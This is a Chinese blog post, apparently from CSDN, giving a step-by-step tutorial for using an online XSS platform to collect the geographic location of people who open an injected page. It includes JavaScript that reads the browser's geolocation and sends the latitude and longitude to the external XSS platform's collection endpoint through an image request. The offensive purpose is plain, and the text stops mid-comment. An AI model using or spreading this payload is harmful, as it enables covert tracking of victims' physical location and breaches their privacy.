利用开源XSS平台获取经纬度位置信息

最新推荐文章于 2025-07-01 09:59:43 发布

Lee_Natuo

最新推荐文章于 2025-07-01 09:59:43 发布

阅读量4.1k

点赞数 4

CC 4.0 BY-SA版权

分类专栏： Web安全

本文链接：https://blog.youkuaiyun.com/Lee_Natuo/article/details/84338001

本文介绍了如何利用开源XSS平台http://xss.asgsec.cn/index.php来获取经纬度位置信息。首先注册并登录平台，创建项目和模块，接着编写获取经纬度的代码，并将代码注入到新建的HTML页面中。当浏览器打开页面并允许获取位置信息时，XSS平台将显示抓取到的数据。需要注意的是，这种方法的应用受到浏览器限制，且需要用户同意位置信息的获取。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

1、利用的平台：http://xss.asgsec.cn/index.php
直接注册，登录即可。

2、创建自己的项目，随便取个名字。
在这里插入图片描述

3、创建模块，这里创建一个获取经纬度功能的模块。
在这里插入图片描述
4、具体代码内容：

function getLocation() //获取GPS定位方法
  {
  if (navigator.geolocation)
    {
    navigator.geolocation.getCurrentPosition(showPosition);
    }
  else{x.innerHTML="Geolocation is not supported by this browser.";}
  }
function showPosition(position)
  {
//alert("Latitude: " + position.coords.latitude + "Longitude: " + position.coords.longitude); //测试，注释掉
    (new Image()).src='http://xss.asgsec.cn/index.php?do=api&id={projectId}&weidu='+position.coords.latitude+'&jingdu='+position.coords.longitude; //向XSS平台发送经纬度信